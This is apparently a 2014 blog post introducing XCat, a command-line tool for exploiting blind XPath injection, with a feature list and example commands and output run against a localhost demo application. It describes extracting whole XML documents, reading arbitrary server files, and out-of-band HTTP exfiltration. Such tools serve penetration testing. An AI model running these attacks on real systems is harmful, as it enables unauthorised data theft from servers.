XCat - Tool that aides in the exploitation of blind XPath injection vulnerabilities

Monday, August 11, 2014

XCat is a command line program that aides in the exploitation of blind XPath injection vulnerabilities. It can be used to retrieve the whole XML document being processed by a vulnerable XPath query, read arbitrary files on the hosts filesystem and utilize out of bound HTTP requests to make the server send data directly to xcat.

XCat is built to exploit boolean XPath injections (Where only one bit of data can be extracted in one request) and it requires you to manually identify the exploit first, this does not do that for you.

Features
  • Exploits both GET and POST attacks
  • Extracts all nodes, comments, attributes and data from the entire XML document
  • Small and lightweight (only a few pure-python dependencies)
  • Parallel requests
  • XPath 2.0 supported (with graceful degrading to 1.0)
  • Advanced data postback through HTTP (see below)
  • Arbitrarily read XML files on the servers file system via the doc() function (see below)
  • Arbitrarily read text files on the servers file system via crafted SYSTEM entities

Examples
If you run a windows machine you can install Jython and start the example application (example_application/ironpython_site.py). The syntax for a simple command you can execute against this server is:
xcat --method=GET http://localhost:8080 title=Foundation title "1 results found" run retrieve

This command specifies the HTTP method (GET), target URL (our localhost server), the GET or POST) data to send (title=Bible), the vulnerable parameter (title) and a string to indicate a true response (Book found). Executing this will retrieve the entire XML file being queried.
>> xcat --method=GET http://localhost:8080 title=Foundation title "1 results found" run retrieve
Injecting using FunctionCall
Detecting features...
Supported features: String to codepoints, XPath 2, Read local XML files, Substring search speedup
Retrieving /*[1]
<?xml version="1.0" encoding="utf-8"?>
<library>
    <rentals>
        <books>
            <!-- A comment -->
            <book>
...

The the retrieval of documents can be sped up in a number of different ways, such as using the doc function to make the server send data directly to XCat (explained in more detail below). Each of the techniques is called a feature and can be viewed by using the test_injection command. This will display information about the injection, including the type (integer, string, path name) and various features that XCat has is able to use. XCat knows which features are best and will gracefully degrade if they fail for any reason.
>> xcat --method=GET --public-ip="localhost" http://localhost:8080 title=Foundation title "1 results found" test_injection
Testing parameter title:
FunctionCallInjection:          /lib/something[function(?)]
    - EfficientSubstringSearch
    - OOBDocFeature
    - CodepointSearch
    - XPath2
    - DocFeature
    - EntityInjection




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